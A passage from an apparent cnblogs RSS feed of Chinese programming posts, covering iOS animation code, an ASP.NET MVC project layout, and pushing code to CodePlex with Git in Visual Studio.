O.toString();<br/> }<br/> </span><span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span> (Object.prototype.toString.apply(O) === '[object Object]'<span style="color: #000000;">) {<br/> </span><span style="color: #0000ff;">for</span> (<span style="color: #0000ff;">var</span> i <span style="color: #0000ff;">in</span><span style="color: #000000;"> O) {<br/> O[i] </span>= <span style="color: #0000ff;">typeof</span> (O[i]) == 'string' ? '"' + O[i] + '"' : (<span style="color: #0000ff;">typeof</span> (O[i]) === 'object' ?<span style="color: #000000;"> O2String(O[i]) : O[i]);<br/> S.push(i </span>+ ':' +<span style="color: #000000;"> O[i]);<br/> }<br/> J </span>= '{' + S.join(',') + '}'<span style="color: #000000;">;<br/> }<br/><br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> J;<br/> };<br/></span>&lt;/script&gt;</div></div><p>效果图:</p><p><img src="http://images.cnitblog.com/i/377862/201404/181919199008306.gif" alt="" /></p><hr /><span style="color: #ff6600; font-size: 16px;"><strong><em id="__mceDel">中国的IT 需要无私分享和贡献的人,一起努力 AaronYang 2014年</em></strong></span><p>&nbsp;</p><p>&nbsp;</p><img src="http://counter.cnblogs.com/blog/rss/3673933" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/AaronYang/p/3673933.html" target="_blank">aaronyang的百度地图API之LBS云[把数据丰富显示1/3]</a>,转载请注明。</p>http://www.cnblogs.com/letougaozao/p/3673927.htmliOS开发学习之简单动画 - 了透糕糟UIActivityIndicatorView、UIImageView的序列帧动画、UIView动画、时钟动画2014-04-18T10:45:00Z2014-04-18T10:45:00Z了透糕糟http://www.cnblogs.com/letougaozao/<ul><li><!--?xml version="1.0" encoding="UTF-8" standalone="no"?--> <span>UIActivityIndicatorView</span></li><li><span><!--?xml version="1.0" encoding="UTF-8" standalone="no"?--> <span>UIImageView的序列帧动画</span></span></li><li><!--?xml version="1.0" encoding="UTF-8" standalone="no"?--> <span>UIView动画</span></li><li><span><!--?xml version="1.0" encoding="UTF-8" standalone="no"?--> <span>时钟动画</span></span></li></ul><p><span><span><!--?xml version="1.0" encoding="UTF-8" standalone="no"?--> <span>一、UIActivityIndicatorView</span><img src="file:///Users/apple/Library/Containers/com.evernote.Evernote/Data/Library/Application%20Support/Evernote/accounts/Evernote-China/letougaozao/content/p42/9dde6d49815ef1567d8b5e11885207a6.jpeg" alt="" name="en-media:image/jpeg:9dde6d49815ef1567d8b5e11885207a6:none:none" width="15" height="12" /></span></span></p><div>1??属性<br /><div>-isAnimating属性判断是否正在动画</div><div>2??第三方库SVProgressHUD</div><div>[SVProgressHUD dismiss]</div><div>[SVProgressHUD showWithStatus:@&ldquo;网络加载中&rdquo; maskType:SVProgressHUDMashTypeGradient];(后面的参数是否遮挡,可以不用)</div><div>3??<span style="color: #ff40ff;">NSTimer</span></div><div>[NSTimer scheduledTimerWithTimeInterval:1 target:2 selector:3 userInfo:4 repeats:5];</div><div>1.时间间隔 2.self 3.触发时调用的方法 4.用户信息 5.是否重复</div><div>[timer invalidate];</div><div><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">- (<span style="color: #0000ff;">void</span>)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)<span style="color: #0000ff;">event</span><span style="color: #000000;"><br/>{<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 使用了SVProgress的maskType属性,当前视图无法接受触摸事件<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 需要想办法关闭<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 使用NSTimer</span><br/> <span style="color: #0000ff;">if</span><span style="color: #000000;"> ([_indicatorView isAnimating]) {<br/> [SVProgressHUD dismiss];<br/> [_indicatorView stopAnimating];<br/> } </span><span style="color: #0000ff;">else</span><span style="color: #000000;"> {<br/> [SVProgressHUD showWithStatus:</span><span style="color: #800000;">@"</span><span style="color: #800000;">等会~~~</span><span style="color: #800000;">"</span><span style="color: #000000;"> maskType:SVProgressHUDMaskTypeGradient];<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 指示器一启动,就无法交互了,要把时钟放在这里</span><br/><span style="color: #000000;"> [_indicatorView startAnimating];<br/> <br/> [NSTimer scheduledTimerWithTimeInterval:</span><span style="color: #800080;">2.0</span><span style="color: #000000;"> target:self selector:@selector(updateTimer:) userInfo:nil repeats:NO];<br/> }<br/>}<br/><br/></span><span style="color: #008000;">//</span><span style="color: #008000;"> NSTimer调用方法的参数,只能是NSTimer,使用参数,在当前示例中,就不需要使用成员变量了</span><br/>- (<span style="color: #0000ff;">void</span>)updateTimer:(NSTimer *<span style="color: #000000;">)timer<br/>{<br/> [SVProgressHUD dismiss];<br/> [_indicatorView stopAnimating];<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 关闭时钟</span><br/><span style="color: #000000;"> [timer invalidate];<br/>}</span></div><div><hr />二、UIImageView的序列帧动画</div><div>1??属性说明</div><div>-animationImages:要显示的一组图盘</div><div>-animationDuration:显示所有图片需要的时间(如果中间由修改速度,需要先停止、设置、开始)</div><div>-animationRepeatCount:动画的执行次数</div><div>2??相关方法</div><div>--(void)startAnimating;</div><div>--(void)stopAnimating</div><div>--(void)isAnimating;</div><div><span style="color: #ff2600;"><span style="color: #ff2600;">&nbsp;<span style="color: #000000;">1.赵云动画</span></span></span><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #008000;">//</span><span style="color: #008000;"> 创建赵云的序列帧动画</span><br/>- (<span style="color: #0000ff;">void</span><span style="color: #000000;">)createZhaoyunImage<br/>{<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> Do any additional setup after loading the view, typically from a nib.<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 设置ImageView的序列帧动画<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 1. 需要一个数组</span><br/> NSMutableArray *images =<span style="color: #000000;"> [NSMutableArray array];<br/> </span><span style="color: #0000ff;">for</span> (<span style="color: #0000ff;">int</span> i = <span style="color: #800080;">1</span>; i &lt; <span style="color: #800080;">11</span>; i++<span style="color: #000000;">) {<br/> NSString </span>*fileName = [NSString stringWithFormat:<span style="color: #800000;">@"</span><span style="color: #800000;">/images/zy/%d.png</span><span style="color: #800000;">"</span><span style="color: #000000;">, i];<br/> UIImage </span>*image =<span style="color: #000000;"> [UIImage imageNamed:fileName];<br/> [images addObject:image];<br/> }<br/> <br/> [_zhaoyunImage setImage:images[</span><span style="color: #800080;">0</span><span style="color: #000000;">]];<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 设置图像数组</span><br/><span style="color: #000000;"> [_zhaoyunImage setAnimationImages:images];<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 设置10张图片播放的时长</span><br/> [_zhaoyunImage setAnimationDuration:<span style="color: #800080;">1.0f</span><span style="color: #000000;">];<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 开始动画</span><br/><span style="color: #000000;"> [_zhaoyunImage startAnimating];<br/>}<br/><br/></span>- (<span style="color: #0000ff;">void</span>)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)<span style="color: #0000ff;">event</span><span style="color: #000000;"><br/>{<br/> </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> ([_zhaoyunImage isAnimating]) {<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 序列帧动画每次停止的时候,都会显示设置的图像,而不是当前播放到的图像</span><br/><span style="color: #000000;"> [_zhaoyunImage stopAnimating];<br/> } </span><span style="color: #0000ff;">else</span><span style="color: #000000;"> {<br/> [_zhaoyunImage startAnimating];<br/> }<br/>}</span></div><p>2.燕子动画</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">#pragma</span> mark - 拖拽燕子<br/>- (<span style="color: #0000ff;">void</span>)dragBird:(UIPanGestureRecognizer *<span style="color: #000000;">)sender<br/>{<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 先需要知道手指的位置</span><br/> CGPoint location =<span style="color: #000000;"> [sender locationInView:self.view];<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 手势状态改是UIGestureRecognizerStateChanged的时候,手指还没有离开屏幕<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 这个时候,可以修改鸟的位置,同时让鸟扑腾</span><br/> <span style="color: #0000ff;">if</span> (sender.state ==<span style="color: #000000;"> UIGestureRecognizerStateChanged) {<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 注意:如果要修改播放中的序列帧动画<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 1. 需要先停止动画</span><br/><span style="color: #000000;"> [_birdImage stopAnimating];<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 2. 修改动画频率</span><br/> [_birdImage setAnimationDuration:<span style="color: #800080;">0.2f</span><span style="color: #000000;">];<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 3. 重新启动动画</span><br/><span style="color: #000000;"> [_birdImage startAnimating];<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 修改燕子的动画频率<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 设置燕子的位置</span><br/><span style="color: #000000;"> [_birdImage setCenter:location];<br/> } </span><span style="color: #0000ff;">else</span> <span style="color: #0000ff;">if</span> (sender.state ==<span style="color: #000000;"> UIGestureRecognizerStateEnded) {<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 恢复燕子慢悠悠<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 1. 需要先停止动画</span><br/><span style="color: #000000;"> [_birdImage stopAnimating];<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 2. 修改动画频率</span><br/> [_birdImage setAnimationDuration:<span style="color: #800080;">1.2f</span><span style="color: #000000;">];<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 3. 重新启动动画</span><br/><span style="color: #000000;"> [_birdImage startAnimating];<br/><br/> }<br/>}<br/><br/></span><span style="color: #008000;">//</span><span style="color: #008000;"> 设置燕子的序列帧动画,并设置燕子的拖拽手势监听</span><br/>- (<span style="color: #0000ff;">void</span><span style="color: #000000;">)createBirdImage<br/>{<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 设置燕子的序列帧动画</span><br/> NSArray *images = @[[UIImage imageNamed:<span style="color: #800000;">@"</span><span style="color: #800000;">/images/素材/燕子1.png</span><span style="color: #800000;">"</span><span style="color: #000000;">],<br/> [UIImage imageNamed:</span><span style="color: #800000;">@"</span><span style="color: #800000;">/images/素材/燕子2.png</span><span style="color: #800000;">"</span><span style="color: #000000;">]];<br/> [_birdImage setAnimationImages:images];<br/> [_birdImage setAnimationDuration:</span><span style="color: #800080;">1.2f</span><span style="color: #000000;">];<br/> [_birdImage startAnimating];<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 定义手势</span><br/> UIPanGestureRecognizer *pan =<span style="color: #000000;"> [[UIPanGestureRecognizer alloc]initWithTarget:self action:@selector(dragBird:)];<br/> [_birdImage addGestureRecognizer:pan];<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 设置燕子图片允许用户交互</span><br/><span style="color: #000000;"> [_birdImage setUserInteractionEnabled:YES];<br/>}</span></div></div><div><hr />三、UIView动画</div><div><hr /><span style="color: #ff2600;">四、时钟动画(CADisplayLink)</span></div><div>-是一种以屏幕刷新屏幕触发的时钟机制,每秒钟执行大约60次</div></div></div><div>-倒入QuartzCore框架</div><div>1??使用方法</div><div>-定义CADisplayLink并制定触发调用方法</div><div>-将显示链接添加到主运行循环队列</div><div>2??两种判断时间间隔的方法</div><div>-以成员变量的方式判断</div><div>-以全局变量的方式判断</div><div><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">@interface</span><span style="color: #000000;"> ViewController ()<br/>{<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 游戏时钟</span><br/> CADisplayLink *<span style="color: #000000;">_gameTimer;<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 时钟触发的初始时间</span><br/><span style="color: #000000;"> CFTimeInterval _startTime;<br/>}<br/></span><span style="color: #0000ff;">@end</span><br/><span style="color: #0000ff;">@implementation</span><span style="color: #000000;"> ViewController<br/><br/></span><span style="color: #0000ff;">#pragma</span> mark - 使用指定时间处理CADisplayLink触发时间的方法(1)<br/>- (<span style="color: #0000ff;">void</span>)updateTimer:(CADisplayLink *<span style="color: #000000;">)sender<br/>{<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 如果_startTime=0,说明是第一次触发时钟,需要记录时钟的时钟戳记</span><br/> <span style="color: #0000ff;">if</span> (_startTime == <span style="color: #800080;">0</span><span style="color: #000000;">) {<br/> _startTime </span>=<span style="color: #000000;"> sender.timestamp;<br/> }<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 时钟触发的时间差值</span><br/> CFTimeInterval deltaTime = sender.timestamp -<span style="color: #000000;"> _startTime;<br/> <br/> </span><span style="color: #0000ff;">if</span> (deltaTime &gt; <span style="color: #800080;">1.0</span><span style="color: #000000;">) {<br/> NSLog(</span><span style="color: #800000;">@"</span><span style="color: #800000;">时钟触发了 %f</span><span style="color: #800000;">"</span><span style="color: #000000;">, sender.timestamp);<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 更新_startTime的数值,记录本次执行任务的时间</span><br/> _startTime =<span style="color: #000000;"> sender.timestamp;<br/> }<br/>}<br/><br/></span><span style="color: #0000ff;">#pragma</span> mark - 使用指定时间处理CADisplayLink触发时间的方法(2)<br/>- (<span style="color: #0000ff;">void</span><span style="color: #000000;">)step<br/>{<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 假定每隔一秒触发一次方法</span><br/> <span style="color: #0000ff;">if</span> (steps % (<span style="color: #800080;">10</span> * <span style="color: #800080;">60</span> * <span style="color: #800080;">60</span>) == <span style="color: #800080;">1</span><span style="color: #000000;">) {<br/> NSLog(</span><span style="color: #800000;">@"</span><span style="color: #800000;">时钟触发了! %ld</span><span style="color: #800000;">"</span><span style="color: #000000;">, steps);<br/> }<br/> <br/> steps</span>++<span style="color: #000000;">;<br/>}<br/><br/></span>- (<span style="color: #0000ff;">void</span><span style="color: #000000;">)viewDidLoad<br/>{<br/> [super viewDidLoad];<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> Do any additional setup after loading the view, typically from a nib.<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 首先将启动的时间点设置为0</span><br/> _startTime = <span style="color: #800080;">0.0f</span><span style="color: #000000;">;<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 将屏幕刷新总次数设置为0</span><br/> steps = <span style="color: #800080;">0</span><span style="color: #000000;">;<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 初始化游戏时钟</span><br/> _gameTimer =<span style="color: #000000;"> [CADisplayLink displayLinkWithTarget:self selector:@selector(step)];<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 初始化时钟之后,有一个必须要做的,就是把游戏时钟,添加到主运行循环</span><br/><span style="color: #000000;"> [_gameTimer addToRunLoop:[NSRunLoop mainRunLoop] forMode:NSDefaultRunLoopMode];<br/>}</span></div></div><div>3??使用步骤</div><div><span style="color: #942192;">方法1:</span></div><div>-初始化一个游戏时钟,并且加入主队列中</div><div>-自己制定时间间隔,去执行操作</div><div>1.需要一个成员变量,记录时钟起始的&ldquo;时间点&rdquo;:CFTimeInterval _startTime;</div><div>2.计算成员变量去与时钟触发时的时间差,如果大于制定的时间差,再去执行操作</div><div><span style="color: #942192;">方法2:</span></div><div>-定义一个全局的每秒中执行的次数</div><div>-如果执行了这个次数,就执行要执行的操作&nbsp;</div><div><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">steps = <span style="color: #800080;">0</span><span style="color: #000000;">;<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 初始化雪花图像</span><br/> _snowImage = [UIImage imageNamed:<span style="color: #800000;">@"</span><span style="color: #800000;">/images/素材/雪花</span><span style="color: #800000;">"</span><span style="color: #000000;">];<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 初始化时钟</span><br/> _gameTimer =<span style="color: #000000;"> [CADisplayLink displayLinkWithTarget:self selector:@selector(step)];<br/> [_gameTimer addToRunLoop:[NSRunLoop mainRunLoop] forMode:NSDefaultRunLoopMode];</span></div></div><div><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">#pragma</span> mark - 时钟处理方法<br/>- (<span style="color: #0000ff;">void</span><span style="color: #000000;">)step<br/>{<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 假设每秒钟绘制6个雪花</span><br/> <span style="color: #0000ff;">if</span> (steps % <span style="color: #800080;">10</span> == <span style="color: #800080;">0</span><span style="color: #000000;">) {<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 绘制雪花</span><br/> UIImageView *imageView =<span style="color: #000000;"> [[UIImageView alloc]initWithImage:_snowImage];<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 指定雪花出现的位置</span><br/> CGPoint startPoint = CGPointMake(arc4random() % <span style="color: #800080;">320</span>, -<span style="color: #800080;">30.0</span><span style="color: #000000;">);<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 指定雪花结束的位置</span><br/> CGPoint endPoint = CGPointMake(arc4random() % <span style="color: #800080;">320</span>, <span style="color: #800080;">490</span><span style="color: #000000;">);<br/> </span><span style="color: #008000;">/*</span><span style="color: #008000;">*<br/> 新问题<br/> 1. 雪花太大<br/> 2. 雪花太亮,需要改一下透明度<br/> 3. 如果雪花会转就更好了<br/> </span><span style="color: #008000;">*/</span><span style="color: #000000;"><br/> CGFloat r </span>= arc4random() % <span style="color: #800080;">5</span> + <span style="color: #800080;">10</span><span style="color: #000000;">;<br/> [imageView setFrame:CGRectMake(</span><span style="color: #800080;">0</span>, <span style="color: #800080;">0</span><span style="color: #000000;">, r, r)];<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 设置起始点</span><br/><span style="color: #000000;"> [imageView setCenter:startPoint];<br/> <br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 把雪花图像添加到视图</span><br/><span style="color: #000000;"> [self.view addSubview:imageView];<br/> <br/> [UIView animateWithDuration:</span><span style="color: #800080;">6.0f</span> delay:<span style="color: #800080;">0.0f</span> options:UIViewAnimationOptionCurveEaseIn animations:^<span style="color: #000000;">{<br/> [imageView setCenter:endPoint];<br/> [imageView setAlpha:</span><span style="color: #800080;">0.2f</span><span style="color: #000000;">];<br/> [imageView setTransform:CGAffineTransformMakeRotation(M_PI)];<br/> } completion:</span>^<span style="color: #000000;">(BOOL finished) {<br/> </span><span style="color: #008000;">//</span><span style="color: #008000;"> 从父视图删除,这个千万不要忘了</span><br/><span style="color: #000000;"> [imageView removeFromSuperview];<br/> }];<br/> }<br/> <br/>}</span></div><p>&nbsp;</p><p>转载请注明:http://www.cnblogs.com/letougaozao/p/3673927.html</p></div><img src="http://counter.cnblogs.com/blog/rss/3673927" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/letougaozao/p/3673927.html" target="_blank">iOS开发学习之简单动画</a>,转载请注明。</p>http://www.cnblogs.com/CoolHots/p/3673810.html【快乐编程系列之ASP.NET MVC 权限管理系列】一、开篇 - CoolHots用了好长一段时间的ASP.NET MVC,感觉MVC真的是很好用,最近一年左右做了两个中小型项目,觉得还是很多地方不是很熟悉的,所以现在打算做一个比较通用一点的管理系统,后台主要包括的模块有:会员管理、权限管理、系统管理、内容管理,还有前台的用户中心系统。 PS:博主现在换工作了,是做电商的美工.....2014-04-18T09:53:00Z2014-04-18T09:53:00ZCoolHotshttp://www.cnblogs.com/CoolHots/<p>&nbsp; &nbsp; &nbsp;用了好长一段时间的ASP.NET MVC,感觉MVC真的是很好用,最近一年左右做了两个中小型项目,觉得还是很多地方不是很熟悉的,所以现在打算做一个比较通用一点的管理系统,后台主要包括的模块有:会员管理、权限管理、系统管理、内容管理,还有前台的用户中心系统。</p><p>&nbsp; &nbsp;PS:博主现在换工作了,是做电商的美工,感觉开发时间久太累了,换个环境休养生息~~~~所以更新肯定不会很快,各位见谅吧~~</p><p>&nbsp; &nbsp;废话不多说,这个系统现在还处于构思阶段,我打算是一边开发一边写博客,写得不好的地方各位多多包涵;系统使用VS2012 + ASP.NET + MVC4 +Entity Framework + Jquery EasyUI开发。</p><p>&nbsp; &nbsp;关于MVC的基础知识,在大名鼎鼎的博客园已经有很多个系列了,权限管理的也有很多个系列了,我就不?嗦了,这次我就主要说一下开发一个后台管理系统和用户中心的功能。</p><p>&nbsp; &nbsp;具体代码还没实现,先看看项目结构图:</p><p style="text-align: center;"><img src="http://coolhots.net/wp-content/uploads/2014/04/20140418092033_82045.png" alt="" /></p><p style="text-align: left;">&nbsp;&nbsp;</p><p> <br /></p><p><br /></p><p><br /></p><p>&nbsp; &nbsp; &nbsp;项目主要分为五个部分(开发常用的结构嘛),分别是业务逻辑层、数据访问层、用户界面层、领域模型层和公共层。</p><p>&nbsp; &nbsp; 相对应的类库放到相应的项目文件夹,能够保持项目的清晰、和方便修改。</p><p>&nbsp; &nbsp; &nbsp;项目中,按照我的想法,能够适应一定的拓展性。</p><p>&nbsp; &nbsp; 继续说说项目的分层吧:</p><p>&nbsp; &nbsp; &nbsp; 业务逻辑层:</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CoolManage.IBLL 业务逻辑接口层</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CoolManage.BLL &nbsp;业务逻辑实现层</p><p><br /></p><p>&nbsp; &nbsp; &nbsp; 数据访问层:</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CoolManage.IDao 数据访问接口层</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CoolManage.EFDao &nbsp;数据访问实现层</p><p><br /></p><p>&nbsp; &nbsp; &nbsp; 领域模型层:</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CoolManage.Entities &nbsp;Entity Framework建立的模型层</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CoolManage.ViewModel 视图模型层,主要用于传递用户界面层和业务逻辑层的数据传递</p><p><br /></p><p>&nbsp; &nbsp; &nbsp; 公共类库层:</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CoolManage.Common &nbsp;公共类库层</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CoolManage.CacheStorage &nbsp;缓存操作层</p><p><br /></p><p>&nbsp; &nbsp; &nbsp; 用户界面层:</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CoolManage.Web 用户界面层</p><p>&nbsp; &nbsp; ASP.NET MVC有一个口号,叫做:<span style="color: #333333; font-family: arial; font-size: 13px; line-height: 20px; background-color: #ffffff;">Don&rsquo;t Repeat Yourself &nbsp; 【译文:不要重复自己】,所以我就尽可能的&ldquo;零&rdquo;添删查改的实现,要实现这个东西,首先就是靠Entity Framework定义通用的<span style="color: #333333; font-family: arial; font-size: 13px; line-height: 20px; background-color: #ffffff;">添删查改方法,然后其他的类就继承这个通用的方法,实现基本的功能,再进行拓展。</span></span> </p><p><span style="color: #333333; font-family: arial; font-size: 13px; line-height: 20px; background-color: #ffffff;">&nbsp; &nbsp; 今天快下班了,就先写到这里吧,等有时间了我再写下去。</span> </p><p><span style="color: #333333; font-family: arial; font-size: 13px; line-height: 20px; background-color: #ffffff;">&nbsp; &nbsp; o(???)o 唉,没想到单单是写这篇文章都花费了我快一个小时的时间,看到博客园里面的大神写的那些系列,我觉得自己真是太菜了,骚年,努力吧~~</span> </p><p><span style="color: #333333; font-family: arial; font-size: 13px; line-height: 20px; background-color: #ffffff;">&nbsp; &nbsp; 想关注最新的文章,请关注我的博客园博客和我的<a href="http://www.coolhots.net" target="_blank">个人博客</a>,这个系列有很多地方也是参考了一系列大神的作品了,如有雷同,纯属参考+Ctrl C+Ctrl V~~~~如有版权问题,请联系我,我会尽快去除相关部分内容。联系方式:Email:coolhots@outlook.com</span> </p><p><br />源码地址:<a title="开源中国" href="http://git.oschina.net/coolhots/CoolManage" target="_blank">http://git.oschina.net/coolhots/CoolManage</a></p><p><br /></p><img src="http://counter.cnblogs.com/blog/rss/3673810" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/CoolHots/p/3673810.html" target="_blank">【快乐编程系列之ASP.NET MVC 权限管理系列】一、开篇</a>,转载请注明。</p>http://www.cnblogs.com/stg609/p/3673782.html如何在 Visual Studio 中使用 Git 同步代码到 CodePlex - stg609开源社区不管在国内还是国外都很火热,微软也曾因为没有开源而倍受指责,但是随着 .Net framework、ASP.Net MVC等框架的逐渐开源,也让大家看到了微软开源的步伐。CodePlex 则是微软自己的一个开源社区,里面聚集了很多开源的项目,那么我们如何才能把自己的开源项目放到这上面呢?.....2014-04-18T09:44:00Z2014-04-18T09:44:00Zstg609http://www.cnblogs.com/stg609/<p>  开源社区不管在国内还是国外都很火热,微软也曾因为没有开源而倍受指责,但是随着 .Net framework、ASP.Net MVC等框架的逐渐开源,也让大家看到了微软开源的步伐。CodePlex 则是微软自己的一个开源社区,里面聚集了很多开源的项目,那么我们如何才能把自己的开源项目放到这上面呢?</p><p>&nbsp;</p><p style="margin-bottom: 1.286em; border-style: solid; border-color: #dddaaa; border-width: 1px 0px; padding: 0.75em 15px; background-color: #faf9e2; color: #5d5636; line-height: 1.5em; background-position: initial initial; background-repeat: initial initial;"><span>在继续阅读本文前,请确定您已经在 Visual Studio 中安装了 Git 相关的扩展程序,并且大致了解如何在 Visual Studio 中使用Git,否则请您阅读 《</span><a title="如何在 TFS 中使用 Git" href="http://www.cnblogs.com/stg609/p/3651688.html" target="_blank">如何在 TFS 中使用 Git</a><span>》,并根据该文中的操作进行安装。</span></p><h2 style="font-size: 1.5em; font-family: 'Microsoft YaHei UI', 'Microsoft YaHei'; background-color: #dfdfdf; padding: 5px 10px; margin-bottom: 30px; margin-top: 20px; font-weight: bold; background-position: initial initial; background-repeat: initial initial;">在 CodePlex 中创建项目</strong></p><p><span>  登录 CodePlex 后,选择创建一个新项目,会跳转到一个创建项目的页面,按照提示填写完相应的内容。</span></p><p>  注意,在&nbsp;<strong>Source Control</strong>&nbsp;一项中,需要选择&nbsp;<strong>Git</strong>。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181714195414643.jpg" alt="" /></p><p>&nbsp;</p><p>  点击 &ldquo;Create&rdquo; 之后,你会看到如下图片,在红框中提示了此项目发布的截止日期(到期未发布,项目将被删除)以及发布项目的4个步骤(编辑项目主页、上传代码、设置证书、编辑项目总结页面)。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181714408851456.jpg" alt="" /></p><p>&nbsp;</p><p>&nbsp;</p><h2 style="font-size: 1.5em; font-family: 'Microsoft YaHei UI', 'Microsoft YaHei'; background-color: #dfdfdf; padding: 5px 10px; margin-bottom: 30px; margin-top: 20px; font-weight: bold; background-position: initial initial; background-repeat: initial initial;"><strong>编辑项目主页</strong></strong></p><p>  在上面的图片右上角,可以找到 &ldquo;Edit Page&rdquo; 字样,点击该链接就可以进入到主页编辑状态。CodePlex 提供了两种编辑方式: Wiki 标记 和 Html 标记,你可以任意选用其中一种进行编辑。<strong><br /></strong></p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181715267915564.jpg" alt="" /></p><p>&nbsp;</p><h2 style="font-size: 1.5em; font-family: 'Microsoft YaHei UI', 'Microsoft YaHei'; background-color: #dfdfdf; padding: 5px 10px; margin-bottom: 30px; margin-top: 20px; font-weight: bold; background-position: initial initial; background-repeat: initial initial;">同步代码到 CodePlex</strong></p><p>  本节是本文的核心内容,请大家仔细阅读。在阅读本节之前,请在本地准备好将要上传的项目。</p><p>&nbsp;</p><p>  当主页编辑完成之后,选择导航中的 &ldquo;Source Code&rdquo;,进入第二个步骤 &ldquo;上传代码&rdquo;。</p><p>  此时我们点击右上角的 &ldquo;Clone&rdquo;,会显示出 &ldquo;Git&rdquo; 的地址,复制该地址。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181715496669875.jpg" alt="" /></p><p>&nbsp;</p><p>  打开本地的解决方案,选择 属性 / Add Solution to Source Control。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181716124949201.jpg" alt="" /></p><p>&nbsp;</p><p>  在跳出来的提示框中,选择 &ldquo;Git&rdquo;。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181717202918022.jpg" alt="" /></p><p>&nbsp;</p><p>  点击 &ldquo;团队资源管理器&rdquo; ,将代码签入到本地代码库。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181717512132943.jpg" alt="" /></p><p>&nbsp;</p><p>  成功签入后,点击 &ldquo;Sync&rdquo;。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/30991/201404/181718152283338.jpg" alt="" /></p><p>&nbsp;</p><p>  这个时候会跳转到 